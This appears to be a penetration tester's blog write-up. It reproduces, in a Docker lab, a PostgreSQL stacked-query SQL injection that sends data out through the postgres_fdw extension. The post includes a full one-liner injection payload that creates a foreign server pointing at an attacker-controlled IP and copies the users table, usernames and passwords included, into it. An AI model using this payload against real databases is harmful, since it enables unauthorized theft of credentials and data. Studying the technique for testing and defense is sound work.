Introduction
During a penetration test for one of my clients, I discovered a blind SQL injection on a PostgreSQL database, but data retrieval was extremely slow, so any boolean or time-based approach would have been completely useless. Then me and my colleagues decided to find another way to dump the database, and we discovered the magic of cross-queries.
What is a cross-query?
A cross-query is an SQL query that spans more than one database. Instead of pulling data from a single source, you reach across the network and grab data from another database server.
In PostgreSQL, this can be accomplished using the postgres_fdw
extension, which allows one database to query another one remotely:
1 | CREATE EXTENSION postgres_fdw; |
In this example, a query is being executed on a remote database, and the results are retrieved as if they were part of the local database. But we can also do the opposite: select data locally and insert it into a remote database!
Exploitation
Setup the Production Environment
To reproduce the environment, I created an Ubuntu Server with PostgreSQL and a simple, very simple, PHP website vulnerable to SQL Injection, everythig packed up in Docker containers.
This is the docker-compose.yml
file which instructs docker compose
to create postgres
, nginx
and php-fpm
containers:
1 | services: |
The Dockerfile
of php-fpm
container simply uses the php:8-fpm-alpine
base base image and installs the pgsql
extension to use PostgreSQL functions in PHP:
1 | FROM php:8-fpm-alpine |
The nginx
configuration is very basic, I instruct nginx
to use /var/www/html
as document root and redirect every .php
files invoked from the browser to the php-fpm
container listening at port 9000. No HTTPS, no compression or other “advanced” configurations have been made.nginx.conf
:
1 | user nginx; |
default.conf
:
1 | server { |
The database is initialized with init.sql
script which creates the database production
with the tables users
and items
and random data:
1 | CREATE DATABASE "production"; |
Finally, this is the source code of the vulnerable PHP page:
1 | <!DOCTYPE html> |
At this point, the production environment is set. We have our production
database ready to be queried by our PHP script, invoked from our nginx
reverse proxy.
Setup the Attacker Environment
Since we want to exfiltrate data from the production
database, we also need to setup a database into our attacking environment, which can be our laptop if we are inside the same LAN or onto the cloud for more complex scenarios. For simplicty, the two databases will be on the same network.
We can use the same init.sql
script for database initialization without the INSERT INTO
statements, since we only want the same tables structure, and we can run the container with:
1 | docker run --name postgres --rm -v /home/kali/init.sql:/docker-entrypoint-initdb.d/init.sql -e "POSTGRES_PASSWORD=postgres" -p 5432:5432 postgres:alpine |
init.sql
:
1 | CREATE DATABASE "exfiltration"; |
Note that the database name in the attacker environment is called exfiltration
and table names are prefixed with remote_
.
Now, both production and attacker environments are set and we can jump into exploitation phase.
Cross-Query Abuse
Let’s start our containers in the production server with docker compose up
and interact with the website, confirming the presence of the SQL Injection:
We also can confirm that stacked-queries are working, in fact if we break the query and we do a SELECT 1
, the query returns 1
as COUNT
operation result:
Well, we have an SQL Injection now but suppose that, for obscure reasons, the boolean-based and timed-based techniques are very slow and also PHP errors are not displayed on the page. Is there another way to dump the data? Yes! Cross-Queries!
As written in the introduction, we can use postgres_fdw
from PostgreSQL to interact with other databases:
1 | CREATE EXTENSION postgres_fdw; |
The above query creates the extension postgres_fdw
, then creates the mapping for the remote server and the local user, finally creates a foreign table mapping and copies the local table users
into the remote table remote_users
. For our scenario, we can simply convert the query into a one-liner:
1 | '; CREATE EXTENSION postgres_fdw; CREATE SERVER exfiltration_server FOREIGN DATA WRAPPER postgres_fdw OPTIONS (host '192.168.100.195', dbname 'exfiltration', port '5432'); CREATE USER MAPPING FOR postgres SERVER exfiltration_server OPTIONS (user 'postgres', password 'postgres'); CREATE FOREIGN TABLE remote_users (id INTEGER, username TEXT, password TEXT) SERVER exfiltration_server; INSERT INTO remote_users SELECT * FROM users;-- - |
After the injection, we can check our remote database and we discover that the entire users
table has been dumped correctly:
Conclusion
Cross-queries can be incredibly powerful but also pose significant security risks. From a penetration testing perspective, attackers can use cross-queries as another way to gain unauthorized access to sensitive data, especially if database permissions and network rules are poorly configured.
The only requirements for this attack scenario are stacked queries and CREATE EXTENSION
permission enabled, which is worth mentioning being available by default only to the superuser
role.